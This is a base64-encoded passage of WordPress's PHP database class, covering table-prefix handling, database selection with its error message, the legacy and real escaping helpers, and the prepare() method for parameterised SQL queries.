JCQkJcmV0dXJuICR0aGlzLT5iYXNlX3ByZWZpeCAuICRibG9nX2lkIC4gJ18nOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkdGhpcy0+YmFzZV9wcmVmaXg7CgkJfQoJfQoKCS8qKgoJICogUmV0dXJucyBhbiBhcnJheSBvZiBXb3JkUHJlc3MgdGFibGVzLgoJICoKCSAqIEFsc28gYWxsb3dzIGZvciB0aGUgQ1VTVE9NX1VTRVJfVEFCTEUgYW5kIENVU1RPTV9VU0VSX01FVEFfVEFCTEUgdG8KCSAqIG92ZXJyaWRlIHRoZSBXb3JkUHJlc3MgdXNlcnMgYW5kIHVzZXJtZXRhIHRhYmxlcyB0aGF0IHdvdWxkIG90aGVyd2lzZQoJICogYmUgZGV0ZXJtaW5lZCBieSB0aGUgcHJlZml4LgoJICoKCSAqIFRoZSBzY29wZSBhcmd1bWVudCBjYW4gdGFrZSBvbmUgb2YgdGhlIGZvbGxvd2luZzoKCSAqCgkgKiAnYWxsJyAtIHJldHVybnMgJ2FsbCcgYW5kICdnbG9iYWwnIHRhYmxlcy4gTm8gb2xkIHRhYmxlcyBhcmUgcmV0dXJuZWQuCgkgKiAnYmxvZycgLSByZXR1cm5zIHRoZSBibG9nLWxldmVsIHRhYmxlcyBmb3IgdGhlIHF1ZXJpZWQgYmxvZy4KCSAqICdnbG9iYWwnIC0gcmV0dXJucyB0aGUgZ2xvYmFsIHRhYmxlcyBmb3IgdGhlIGluc3RhbGxhdGlvbiwgcmV0dXJuaW5nIG11bHRpc2l0ZSB0YWJsZXMgb25seSBpZiBydW5uaW5nIG11bHRpc2l0ZS4KCSAqICdtc19nbG9iYWwnIC0gcmV0dXJucyB0aGUgbXVsdGlzaXRlIGdsb2JhbCB0YWJsZXMsIHJlZ2FyZGxlc3MgaWYgY3VycmVudCBpbnN0YWxsYXRpb24gaXMgbXVsdGlzaXRlLgoJICogJ29sZCcgLSByZXR1cm5zIHRhYmxlcyB3aGljaCBhcmUgZGVwcmVjYXRlZC4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqIEB1c2VzIHdwZGI6OiR0YWJsZXMKCSAqIEB1c2VzIHdwZGI6OiRvbGRfdGFibGVzCgkgKiBAdXNlcyB3cGRiOjokZ2xvYmFsX3RhYmxlcwoJICogQHVzZXMgd3BkYjo6JG1zX2dsb2JhbF90YWJsZXMKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRzY29wZSAgIE9wdGlvbmFsLiBDYW4gYmUgYWxsLCBnbG9iYWwsIG1zX2dsb2JhbCwgYmxvZywgb3Igb2xkIHRhYmxlcy4gRGVmYXVsdHMgdG8gYWxsLgoJICogQHBhcmFtIGJvb2wgICAkcHJlZml4ICBPcHRpb25hbC4gV2hldGhlciB0byBpbmNsdWRlIHRhYmxlIHByZWZpeGVzLiBEZWZhdWx0IHRydWUuIElmIGJsb2cKCSAqICAgICAgICAgICAgICAgICAgICAgICAgcHJlZml4IGlzIHJlcXVlc3RlZCwgdGhlbiB0aGUgY3VzdG9tIHVzZXJzIGFuZCB1c2VybWV0YSB0YWJsZXMgd2lsbCBiZSBtYXBwZWQuCgkgKiBAcGFyYW0gaW50ICAgICRibG9nX2lkIE9wdGlvbmFsLiBUaGUgYmxvZ19pZCB0byBwcmVmaXguIERlZmF1bHRzIHRvIHdwZGI6OiRibG9naWQuIFVzZWQgb25seSB3aGVuIHByZWZpeCBpcyByZXF1ZXN0ZWQuCgkgKiBAcmV0dXJuIGFycmF5IFRhYmxlIG5hbWVzLiBXaGVuIGEgcHJlZml4IGlzIHJlcXVlc3RlZCwgdGhlIGtleSBpcyB0aGUgdW5wcmVmaXhlZCB0YWJsZSBuYW1lLgoJICovCglwdWJsaWMgZnVuY3Rpb24gdGFibGVzKCAkc2NvcGUgPSAnYWxsJywgJHByZWZpeCA9IHRydWUsICRibG9nX2lkID0gMCApIHsKCQlzd2l0Y2ggKCAkc2NvcGUgKSB7CgkJCWNhc2UgJ2FsbCcgOgoJCQkJJHRhYmxlcyA9IGFycmF5X21lcmdlKCAkdGhpcy0+Z2xvYmFsX3RhYmxlcywgJHRoaXMtPnRhYmxlcyApOwoJCQkJaWYgKCBpc19tdWx0aXNpdGUoKSApCgkJCQkJJHRhYmxlcyA9IGFycmF5X21lcmdlKCAkdGFibGVzLCAkdGhpcy0+bXNfZ2xvYmFsX3RhYmxlcyApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2Jsb2cnIDoKCQkJCSR0YWJsZXMgPSAkdGhpcy0+dGFibGVzOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2dsb2JhbCcgOgoJCQkJJHRhYmxlcyA9ICR0aGlzLT5nbG9iYWxfdGFibGVzOwoJCQkJaWYgKCBpc19tdWx0aXNpdGUoKSApCgkJCQkJJHRhYmxlcyA9IGFycmF5X21lcmdlKCAkdGFibGVzLCAkdGhpcy0+bXNfZ2xvYmFsX3RhYmxlcyApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21zX2dsb2JhbCcgOgoJCQkJJHRhYmxlcyA9ICR0aGlzLT5tc19nbG9iYWxfdGFibGVzOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ29sZCcgOgoJCQkJJHRhYmxlcyA9ICR0aGlzLT5vbGRfdGFibGVzOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQgOgoJCQkJcmV0dXJuIGFycmF5KCk7CgkJfQoKCQlpZiAoICRwcmVmaXggKSB7CgkJCWlmICggISAkYmxvZ19pZCApCgkJCQkkYmxvZ19pZCA9ICR0aGlzLT5ibG9naWQ7CgkJCSRibG9nX3ByZWZpeCA9ICR0aGlzLT5nZXRfYmxvZ19wcmVmaXgoICRibG9nX2lkICk7CgkJCSRiYXNlX3ByZWZpeCA9ICR0aGlzLT5iYXNlX3ByZWZpeDsKCQkJJGdsb2JhbF90YWJsZXMgPSBhcnJheV9tZXJnZSggJHRoaXMtPmdsb2JhbF90YWJsZXMsICR0aGlzLT5tc19nbG9iYWxfdGFibGVzICk7CgkJCWZvcmVhY2ggKCAkdGFibGVzIGFzICRrID0+ICR0YWJsZSApIHsKCQkJCWlmICggaW5fYXJyYXkoICR0YWJsZSwgJGdsb2JhbF90YWJsZXMgKSApCgkJCQkJJHRhYmxlc1sgJHRhYmxlIF0gPSAkYmFzZV9wcmVmaXggLiAkdGFibGU7CgkJCQllbHNlCgkJCQkJJHRhYmxlc1sgJHRhYmxlIF0gPSAkYmxvZ19wcmVmaXggLiAkdGFibGU7CgkJCQl1bnNldCggJHRhYmxlc1sgJGsgXSApOwoJCQl9CgoJCQlpZiAoIGlzc2V0KCAkdGFibGVzWyd1c2VycyddICkgJiYgZGVmaW5lZCggJ0NVU1RPTV9VU0VSX1RBQkxFJyApICkKCQkJCSR0YWJsZXNbJ3VzZXJzJ10gPSBDVVNUT01fVVNFUl9UQUJMRTsKCgkJCWlmICggaXNzZXQoICR0YWJsZXNbJ3VzZXJtZXRhJ10gKSAmJiBkZWZpbmVkKCAnQ1VTVE9NX1VTRVJfTUVUQV9UQUJMRScgKSApCgkJCQkkdGFibGVzWyd1c2VybWV0YSddID0gQ1VTVE9NX1VTRVJfTUVUQV9UQUJMRTsKCQl9CgoJCXJldHVybiAkdGFibGVzOwoJfQoKCS8qKgoJICogU2VsZWN0cyBhIGRhdGFiYXNlIHVzaW5nIHRoZSBjdXJyZW50IGRhdGFiYXNlIGNvbm5lY3Rpb24uCgkgKgoJICogVGhlIGRhdGFiYXNlIG5hbWUgd2lsbCBiZSBjaGFuZ2VkIGJhc2VkIG9uIHRoZSBjdXJyZW50IGRhdGFiYXNlCgkgKiBjb25uZWN0aW9uLiBPbiBmYWlsdXJlLCB0aGUgZXhlY3V0aW9uIHdpbGwgYmFpbCBhbmQgZGlzcGxheSBhbiBEQiBlcnJvci4KCSAqCgkgKiBAc2luY2UgMC43MQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgICAgICAgICRkYiAgTXlTUUwgZGF0YWJhc2UgbmFtZQoJICogQHBhcmFtIHJlc291cmNlfG51bGwgJGRiaCBPcHRpb25hbCBsaW5rIGlkZW50aWZpZXIuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzZWxlY3QoICRkYiwgJGRiaCA9IG51bGwgKSB7CgkJaWYgKCBpc19udWxsKCRkYmgpICkKCQkJJGRiaCA9ICR0aGlzLT5kYmg7CgoJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCSRzdWNjZXNzID0gQG15c3FsaV9zZWxlY3RfZGIoICRkYmgsICRkYiApOwoJCX0gZWxzZSB7CgkJCSRzdWNjZXNzID0gQG15c3FsX3NlbGVjdF9kYiggJGRiLCAkZGJoICk7CgkJfQoJCWlmICggISAkc3VjY2VzcyApIHsKCQkJJHRoaXMtPnJlYWR5ID0gZmFsc2U7CgkJCWlmICggISBkaWRfYWN0aW9uKCAndGVtcGxhdGVfcmVkaXJlY3QnICkgKSB7CgkJCQl3cF9sb2FkX3RyYW5zbGF0aW9uc19lYXJseSgpOwoKCQkJCSRtZXNzYWdlID0gJzxoMT4nIC4gX18oICdDYW4mIzgyMTc7dCBzZWxlY3QgZGF0YWJhc2UnICkgLiAiPC9oMT5cbiI7CgoJCQkJJG1lc3NhZ2UgLj0gJzxwPicgLiBzcHJpbnRmKAoJCQkJCS8qIHRyYW5zbGF0b3JzOiAlczogZGF0YWJhc2UgbmFtZSAqLwoJCQkJCV9fKCAnV2Ugd2VyZSBhYmxlIHRvIGNvbm5lY3QgdG8gdGhlIGRhdGFiYXNlIHNlcnZlciAod2hpY2ggbWVhbnMgeW91ciB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgb2theSkgYnV0IG5vdCBhYmxlIHRvIHNlbGVjdCB0aGUgJXMgZGF0YWJhc2UuJyApLAoJCQkJCSc8Y29kZT4nIC4gaHRtbHNwZWNpYWxjaGFycyggJGRiLCBFTlRfUVVPVEVTICkgLiAnPC9jb2RlPicKCQkJCSkgLiAiPC9wPlxuIjsKCgkJCQkkbWVzc2FnZSAuPSAiPHVsPlxuIjsKCQkJCSRtZXNzYWdlIC49ICc8bGk+JyAuIF9fKCAnQXJlIHlvdSBzdXJlIGl0IGV4aXN0cz8nICkgLiAiPC9saT5cbiI7CgoJCQkJJG1lc3NhZ2UgLj0gJzxsaT4nIC4gc3ByaW50ZigKCQkJCQkvKiB0cmFuc2xhdG9yczogMTogZGF0YWJhc2UgdXNlciwgMjogZGF0YWJhc2UgbmFtZSAqLwoJCQkJCV9fKCAnRG9lcyB0aGUgdXNlciAlMSRzIGhhdmUgcGVybWlzc2lvbiB0byB1c2UgdGhlICUyJHMgZGF0YWJhc2U/JyApLAoJCQkJCSc8Y29kZT4nIC4gaHRtbHNwZWNpYWxjaGFycyggJHRoaXMtPmRidXNlciwgRU5UX1FVT1RFUyApICAuICc8L2NvZGU+JywKCQkJCQknPGNvZGU+JyAuIGh0bWxzcGVjaWFsY2hhcnMoICRkYiwgRU5UX1FVT1RFUyApIC4gJzwvY29kZT4nCgkJCQkpIC4gIjwvbGk+XG4iOwoKCQkJCSRtZXNzYWdlIC49ICc8bGk+JyAuIHNwcmludGYoCgkJCQkJLyogdHJhbnNsYXRvcnM6ICVzOiBkYXRhYmFzZSBuYW1lICovCgkJCQkJX18oICdPbiBzb21lIHN5c3RlbXMgdGhlIG5hbWUgb2YgeW91ciBkYXRhYmFzZSBpcyBwcmVmaXhlZCB3aXRoIHlvdXIgdXNlcm5hbWUsIHNvIGl0IHdvdWxkIGJlIGxpa2UgPGNvZGU+dXNlcm5hbWVfJTEkczwvY29kZT4uIENvdWxkIHRoYXQgYmUgdGhlIHByb2JsZW0/JyApLAoJCQkJCWh0bWxzcGVjaWFsY2hhcnMoICRkYiwgRU5UX1FVT1RFUyApCgkJCQkpLiAiPC9saT5cbiI7CgoJCQkJJG1lc3NhZ2UgLj0gIjwvdWw+XG4iOwoKCQkJCSRtZXNzYWdlIC49ICc8cD4nIC4gc3ByaW50ZigKCQkJCQkvKiB0cmFuc2xhdG9yczogJXM6IHN1cHBvcnQgZm9ydW1zIFVSTCAqLwoJCQkJCV9fKCAnSWYgeW91IGRvbiYjODIxNzt0IGtub3cgaG93IHRvIHNldCB1cCBhIGRhdGFiYXNlIHlvdSBzaG91bGQgPHN0cm9uZz5jb250YWN0IHlvdXIgaG9zdDwvc3Ryb25nPi4gSWYgYWxsIGVsc2UgZmFpbHMgeW91IG1heSBmaW5kIGhlbHAgYXQgdGhlIDxhIGhyZWY9IiVzIj5Xb3JkUHJlc3MgU3VwcG9ydCBGb3J1bXM8L2E+LicgKSwKCQkJCQlfXyggJ2h0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0LycgKQoJCQkJKSAuICI8L3A+XG4iOwoKCQkJCSR0aGlzLT5iYWlsKCAkbWVzc2FnZSwgJ2RiX3NlbGVjdF9mYWlsJyApOwoJCQl9CgkJfQoJfQoKCS8qKgoJICogRG8gbm90IHVzZSwgZGVwcmVjYXRlZC4KCSAqCgkgKiBVc2UgZXNjX3NxbCgpIG9yIHdwZGI6OnByZXBhcmUoKSBpbnN0ZWFkLgoJICoKCSAqIEBzaW5jZSAyLjguMAoJICogQGRlcHJlY2F0ZWQgMy42LjAgVXNlIHdwZGI6OnByZXBhcmUoKQoJICogQHNlZSB3cGRiOjpwcmVwYXJlCgkgKiBAc2VlIGVzY19zcWwoKQoJICogQGFjY2VzcyBwcml2YXRlCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc3RyaW5nCgkgKiBAcmV0dXJuIHN0cmluZwoJICovCglmdW5jdGlvbiBfd2Vha19lc2NhcGUoICRzdHJpbmcgKSB7CgkJaWYgKCBmdW5jX251bV9hcmdzKCkgPT09IDEgJiYgZnVuY3Rpb25fZXhpc3RzKCAnX2RlcHJlY2F0ZWRfZnVuY3Rpb24nICkgKQoJCQlfZGVwcmVjYXRlZF9mdW5jdGlvbiggX19NRVRIT0RfXywgJzMuNicsICd3cGRiOjpwcmVwYXJlKCkgb3IgZXNjX3NxbCgpJyApOwoJCXJldHVybiBhZGRzbGFzaGVzKCAkc3RyaW5nICk7Cgl9CgoJLyoqCgkgKiBSZWFsIGVzY2FwZSwgdXNpbmcgbXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygpIG9yIG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygpCgkgKgoJICogQHNlZSBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCkKCSAqIEBzZWUgbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCkKCSAqIEBzaW5jZSAyLjguMAoJICogQGFjY2VzcyBwcml2YXRlCgkgKgoJICogQHBhcmFtICBzdHJpbmcgJHN0cmluZyB0byBlc2NhcGUKCSAqIEByZXR1cm4gc3RyaW5nIGVzY2FwZWQKCSAqLwoJZnVuY3Rpb24gX3JlYWxfZXNjYXBlKCAkc3RyaW5nICkgewoJCWlmICggJHRoaXMtPmRiaCApIHsKCQkJaWYgKCAkdGhpcy0+dXNlX215c3FsaSApIHsKCQkJCXJldHVybiBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCAkdGhpcy0+ZGJoLCAkc3RyaW5nICk7CgkJCX0gZWxzZSB7CgkJCQlyZXR1cm4gbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCAkc3RyaW5nLCAkdGhpcy0+ZGJoICk7CgkJCX0KCQl9CgoJCSRjbGFzcyA9IGdldF9jbGFzcyggJHRoaXMgKTsKCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ19fJyApICkgewoJCQkvKiB0cmFuc2xhdG9yczogJXM6IGRhdGFiYXNlIGFjY2VzcyBhYnN0cmFjdGlvbiBjbGFzcywgdXN1YWxseSB3cGRiIG9yIGEgY2xhc3MgZXh0ZW5kaW5nIHdwZGIgKi8KCQkJX2RvaW5nX2l0X3dyb25nKCAkY2xhc3MsIHNwcmludGYoIF9fKCAnJXMgbXVzdCBzZXQgYSBkYXRhYmFzZSBjb25uZWN0aW9uIGZvciB1c2Ugd2l0aCBlc2NhcGluZy4nICksICRjbGFzcyApLCBFX1VTRVJfTk9USUNFICk7CgkJfSBlbHNlIHsKCQkJX2RvaW5nX2l0X3dyb25nKCAkY2xhc3MsIHNwcmludGYoICclcyBtdXN0IHNldCBhIGRhdGFiYXNlIGNvbm5lY3Rpb24gZm9yIHVzZSB3aXRoIGVzY2FwaW5nLicsICRjbGFzcyApLCBFX1VTRVJfTk9USUNFICk7CgkJfQoJCXJldHVybiBhZGRzbGFzaGVzKCAkc3RyaW5nICk7Cgl9CgoJLyoqCgkgKiBFc2NhcGUgZGF0YS4gV29ya3Mgb24gYXJyYXlzLgoJICoKCSAqIEB1c2VzIHdwZGI6Ol9yZWFsX2VzY2FwZSgpCgkgKiBAc2luY2UgIDIuOC4wCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqCgkgKiBAcGFyYW0gIHN0cmluZ3xhcnJheSAkZGF0YQoJICogQHJldHVybiBzdHJpbmd8YXJyYXkgZXNjYXBlZAoJICovCglmdW5jdGlvbiBfZXNjYXBlKCAkZGF0YSApIHsKCQlpZiAoIGlzX2FycmF5KCAkZGF0YSApICkgewoJCQlmb3JlYWNoICggJGRhdGEgYXMgJGsgPT4gJHYgKSB7CgkJCQlpZiAoIGlzX2FycmF5KCR2KSApCgkJCQkJJGRhdGFbJGtdID0gJHRoaXMtPl9lc2NhcGUoICR2ICk7CgkJCQllbHNlCgkJCQkJJGRhdGFbJGtdID0gJHRoaXMtPl9yZWFsX2VzY2FwZSggJHYgKTsKCQkJfQoJCX0gZWxzZSB7CgkJCSRkYXRhID0gJHRoaXMtPl9yZWFsX2VzY2FwZSggJGRhdGEgKTsKCQl9CgoJCXJldHVybiAkZGF0YTsKCX0KCgkvKioKCSAqIERvIG5vdCB1c2UsIGRlcHJlY2F0ZWQuCgkgKgoJICogVXNlIGVzY19zcWwoKSBvciB3cGRiOjpwcmVwYXJlKCkgaW5zdGVhZC4KCSAqCgkgKiBAc2luY2UgMC43MQoJICogQGRlcHJlY2F0ZWQgMy42LjAgVXNlIHdwZGI6OnByZXBhcmUoKQoJICogQHNlZSB3cGRiOjpwcmVwYXJlKCkKCSAqIEBzZWUgZXNjX3NxbCgpCgkgKgoJICogQHBhcmFtIG1peGVkICRkYXRhCgkgKiBAcmV0dXJuIG1peGVkCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBlc2NhcGUoICRkYXRhICkgewoJCWlmICggZnVuY19udW1fYXJncygpID09PSAxICYmIGZ1bmN0aW9uX2V4aXN0cyggJ19kZXByZWNhdGVkX2Z1bmN0aW9uJyApICkKCQkJX2RlcHJlY2F0ZWRfZnVuY3Rpb24oIF9fTUVUSE9EX18sICczLjYnLCAnd3BkYjo6cHJlcGFyZSgpIG9yIGVzY19zcWwoKScgKTsKCQlpZiAoIGlzX2FycmF5KCAkZGF0YSApICkgewoJCQlmb3JlYWNoICggJGRhdGEgYXMgJGsgPT4gJHYgKSB7CgkJCQlpZiAoIGlzX2FycmF5KCAkdiApICkKCQkJCQkkZGF0YVska10gPSAkdGhpcy0+ZXNjYXBlKCAkdiwgJ3JlY3Vyc2l2ZScgKTsKCQkJCWVsc2UKCQkJCQkkZGF0YVska10gPSAkdGhpcy0+X3dlYWtfZXNjYXBlKCAkdiwgJ2ludGVybmFsJyApOwoJCQl9CgkJfSBlbHNlIHsKCQkJJGRhdGEgPSAkdGhpcy0+X3dlYWtfZXNjYXBlKCAkZGF0YSwgJ2ludGVybmFsJyApOwoJCX0KCgkJcmV0dXJuICRkYXRhOwoJfQoKCS8qKgoJICogRXNjYXBlcyBjb250ZW50IGJ5IHJlZmVyZW5jZSBmb3IgaW5zZXJ0aW9uIGludG8gdGhlIGRhdGFiYXNlLCBmb3Igc2VjdXJpdHkKCSAqCgkgKiBAdXNlcyB3cGRiOjpfcmVhbF9lc2NhcGUoKQoJICoKCSAqIEBzaW5jZSAyLjMuMAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHN0cmluZyB0byBlc2NhcGUKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGVzY2FwZV9ieV9yZWYoICYkc3RyaW5nICkgewoJCWlmICggISBpc19mbG9hdCggJHN0cmluZyApICkKCQkJJHN0cmluZyA9ICR0aGlzLT5fcmVhbF9lc2NhcGUoICRzdHJpbmcgKTsKCX0KCgkvKioKCSAqIFByZXBhcmVzIGEgU1FMIHF1ZXJ5IGZvciBzYWZlIGV4ZWN1dGlvbi4gVXNlcyBzcHJpbnRmKCktbGlrZSBzeW50YXguCgkgKgoJICogVGhlIGZvbGxvd2luZyBkaXJlY3RpdmVzIGNhbiBiZSB1c2VkIGluIHRoZSBxdWVyeSBmb3JtYXQgc3RyaW5nOgoJICogICAlZCAoaW50ZWdlcikKCSAqICAgJWYgKGZsb2F0KQoJICogICAlcyAoc3RyaW5nKQoJICogICAlJSAobGl0ZXJhbCBwZXJjZW50YWdlIHNpZ24gLSBubyBhcmd1bWVudCBuZWVkZWQpCgkgKgoJICogQWxsIG9mICVkLCAlZiwgYW5kICVzIGFyZSB0byBiZSBsZWZ0IHVucXVvdGVkIGluIHRoZSBxdWVyeSBzdHJpbmcgYW5kIHRoZXkgbmVlZCBhbiBhcmd1bWVudCBwYXNzZWQgZm9yIHRoZW0uCgkgKiBMaXRlcmFscyAoJSkgYXMgcGFydHMgb2YgdGhlIHF1ZXJ5IG11c3QgYmUgcHJvcGVybHkgd3JpdHRlbiBhcyAlJS4KCSAqCgkgKiBUaGlzIGZ1bmN0aW9uIG9ubHkgc3VwcG9ydHMgYSBzbWFsbCBzdWJzZXQgb2YgdGhlIHNwcmludGYgc3ludGF4OyBpdCBvbmx5IHN1cHBvcnRzICVkIChpbnRlZ2VyKSwgJWYgKGZsb2F0KSwgYW5kICVzIChzdHJpbmcpLgoJICogRG9lcyBub3Qgc3VwcG9ydCBzaWduLCBwYWRkaW5nLCBhbGlnbm1lbnQsIHdpZHRoIG9yIHByZWNpc2lvbiBzcGVjaWZpZXJzLgoJICogRG9lcyBub3Qgc3VwcG9ydCBhcmd1bWVudCBudW1iZXJpbmcvc3dhcHBpbmcuCgkgKgoJICogTWF5IGJlIGNhbGxlZCBsaWtlIHtAbGluayBodHRwOi8vcGhwLm5ldC9zcHJpbnRmIHNwcmludGYoKX0gb3IgbGlrZSB7QGxpbmsgaHR0cDovL3BocC5uZXQvdnNwcmludGYgdnNwcmludGYoKX0uCgkgKgoJICogQm90aCAlZCBhbmQgJXMgc2hvdWxkIGJlIGxlZnQgdW5xdW90ZWQgaW4gdGhlIHF1ZXJ5IHN0cmluZy4KCSAqCgkgKiAgICAgd3BkYjo6cHJlcGFyZSggIlNFTEVDVCAqIEZST00gYHRhYmxlYCBXSEVSRSBgY29sdW1uYCA9ICVzIEFORCBgZmllbGRgID0gJWQiLCAnZm9vJywgMTMzNyApCgkgKiAgICAgd3BkYjo6cHJlcGFyZSggIlNFTEVDVCBEQVRFX0ZPUk1BVChgZmllbGRgLCAnJSVjJykgRlJPTSBgdGFibGVgIFdIRVJFIGBjb2x1bW5gID0gJXMiLCAnZm9vJyApOwoJICoKCSAqIEBsaW5rIGh0dHA6Ly9waHAubmV0L3NwcmludGYgRGVzY3JpcHRpb24gb2Ygc3ludGF4LgoJICogQHNpbmNlIDIuMy4wCgkgKgoJICogQHBhcmFtIHN0cmluZyAgICAgICRxdWVyeSAgICBRdWVyeSBzdGF0ZW1lbnQgd2l0aCBzcHJpbnRmKCktbGlrZSBwbGFjZWhvbGRlcnMKCSAqIEBwYXJhbSBhcnJheXxtaXhlZCAkYXJncyAgICAgVGhlIGFycmF5IG9mIHZhcmlhYmxlcyB0byBzdWJzdGl0dXRlIGludG8gdGhlIHF1ZXJ5J3MgcGxhY2Vob2xkZXJzIGlmIGJlaW5nIGNhbGxlZCBsaWtlCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHtAbGluayBodHRwOi8vcGhwLm5ldC92c3ByaW50ZiB2c3ByaW50ZigpfSwgb3IgdGhlIGZpcnN0IHZhcmlhYmxlIHRvIHN1YnN0aXR1dGUgaW50byB0aGUgcXVlcnkncyBwbGFjZWhvbGRlcnMgaWYKCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmVpbmcgY2FsbGVkIGxpa2Uge0BsaW5rIGh0dHA6Ly9waHAubmV0L3NwcmludGYgc3ByaW50ZigpfS4KCSAqIEBwYXJhbSBtaXhlZCAgICAgICAkYXJncywuLi4gZnVydGhlciB2YXJpYWJsZXMgdG8gc3Vic3RpdHV0ZSBpbnRvIHRoZSBxdWVyeSdzIHBsYWNlaG9sZGVycyBpZiBiZWluZyBjYWxsZWQgbGlrZQoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7QGxpbmsgaHR0cDovL3BocC5uZXQvc3ByaW50ZiBzcHJpbnRmKCl9LgoJICogQHJldHVybiBzdHJpbmd8dm9pZCBTYW5pdGl6ZWQgcXVlcnkgc3RyaW5nLCBpZiB0aGVyZSBpcyBhIHF1ZXJ5IHRvIHByZXBhcmUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBwcmVwYXJlKCAkcXVlcnksICRhcmdzICkgewoJCWlmICggaXNfbnVsbCggJHF1ZXJ5ICkgKQoJCQlyZXR1cm47CgoJCS8vIFRoaXMgaXMgbm90IG1lYW50IHRvIGJlIGZvb2xwcm9vZiAtLSBidXQgaXQgd2lsbCBjYXRjaCBvYnZpb3VzbHkgaW5jb3JyZWN0IHVzYWdlLgoJCWlmICggc3RycG9zKCAkcXVlcnksICclJyApID09PSBmYWxzZSApIHsKCQkJX2RvaW5nX2l0X3dyb25nKCAnd3BkYjo6cHJlcGFyZScsIHNwcmludGYoIF9fKCAnVGhlIHF1ZXJ5IGFyZ3VtZW50IG9mICVzIG11c3QgaGF2ZSBhIHBsYWNlaG9sZGVyLicgKSwgJ3dwZGI6OnByZXBhcmUoKScgKSwgJzMuOScgKTsKCQl9CgoJCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJCWFycmF5X3NoaWZ0KCAkYXJncyApOwoJCS8vIElmIGFyZ3Mgd2VyZSBwYXNzZWQgYXMgYW4gYXJyYXkgKGFzIGluIHZzcHJpbnRmKSwgbW92ZSB0aGVtIHVwCgkJaWYgKCBpc3NldCggJGFyZ3NbMF0gKSAmJiBpc19hcnJheSgkYXJnc1swXSkgKQoJCQkkYXJncyA9ICRhcmdzWzBdOwoJCSRxdWVyeSA9IHN0cl9yZXBsYWNlKCAiJyVzJyIsICclcycsICRxdWVyeSApOyAvLyBpbiBjYXNlIHNvbWVvbmUgbWlzdGFrZW5seSBhbHJlYWR5IHNpbmdsZXF1b3RlZCBpdAoJCSRxdWVyeSA9IHN0cl9yZXBsYWNlKCAnIiVzIicsICclcycsICRxdWVyeSApOyAvLyBkb3VibGVxdW90ZSB1bnF1b3RpbmcKCQkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoICd8KD88ISUpJWZ8JyAsICclRicsICRxdWVyeSApOyAvLyBGb3JjZSBmbG9hdHMgdG8gYmUgbG9jYWxlIHVuYXdhcmUKCQkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoICd8KD88ISUpJXN8JywgIiclcyciLCAkcXVlcnkgKTsgLy8gcXVvdGUgdGhlIHN0cmluZ3MsIGF2b2lkaW5nIGVzY2FwZWQgc3RyaW5ncyBsaWtlICUlcwoJCWFycmF5X3dhbGsoICRhcmdzLCBhcnJheSggJHRoaXMsICdlc2NhcGVfYnlfcmVmJyApICk7CgkJcmV0dXJuIEB2c3ByaW50ZiggJHF1ZXJ5LCAkYXJncyApOwoJfQoKCS8qKgoJICogRmlyc3QgaGFsZiBvZiBlc2NhcGluZyBmb3IgTElLRSBzcGVjaWFsIGNoYXJhY3RlcnMgJSBhbmQgXyBiZWZvcmUgcHJlcGFyaW5nIGZvciBNeVNRTC4KCSAqCgkgKiBVc2UgdGhpcyBvbmx5IGJlZm9yZSB3cGRiOjpwcmVwYXJlKCkgb3IgZXNjX3NxbCgpLiAgUmV2ZXJzaW5nIHRoZSBvcmRlciBpcyB2ZXJ5IGJhZCBmb3Igc2VjdXJpdHkuCgkgKgoJICogRXhhbXBsZSBQcmVwYXJlZCBTdGF0ZW1lbnQ6CgkgKiAgJHdpbGQgPSAnJSc7CgkgKiAgJGZpbmQgPSAnb25seSA0MyUgb2YgcGxhbmV0cyc7CgkgKiAgJGxpa2UgPSAkd2lsZCAuICR3cGRiLT5lc2NfbGlrZSggJGZpbmQgKSAuICR3aWxkOwoJICogICRzcWwgID0gJHdwZGItPnByZXBhcmUoICJTRUxFQ1QgKiBGUk9NICR3cGRiLT5wb3N0cyBXSEVSRSBwb3N0X2NvbnRlbnQgTElLRSAlcyIsICRsaWtlICk7CgkgKgoJICogRXhhbXBsZSBFc2NhcGUgQ2hhaW46CgkgKiAgJHNxbCAgPSBlc2Nfc3FsKCAkd3BkYi0+ZXNjX2xpa2UoICRpbnB1dCApICk7CgkgKgoJICogQHNpbmNlIDQuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHRleHQgVGhlIHJhdyB0ZXh0IHRvIGJlIGVzY2FwZWQuIFRoZSBpbnB1dCB0eXBlZCBieSB0aGUgdXNlciBzaG91bGQgaGF2ZSBubwoJICogICAgICAgICAgICAgICAgICAgICBleHRyYSBvciBkZWxldGVkIHNsYXNoZXMuCgkgKiBAcmV0dXJuIHN0cmluZyBUZXh0IGluIHRoZSBmb3JtIG9mIGEgTElLRSBwaHJhc2UuIFRoZSBvdXRwdXQgaXMgbm90IFNRTCBzYW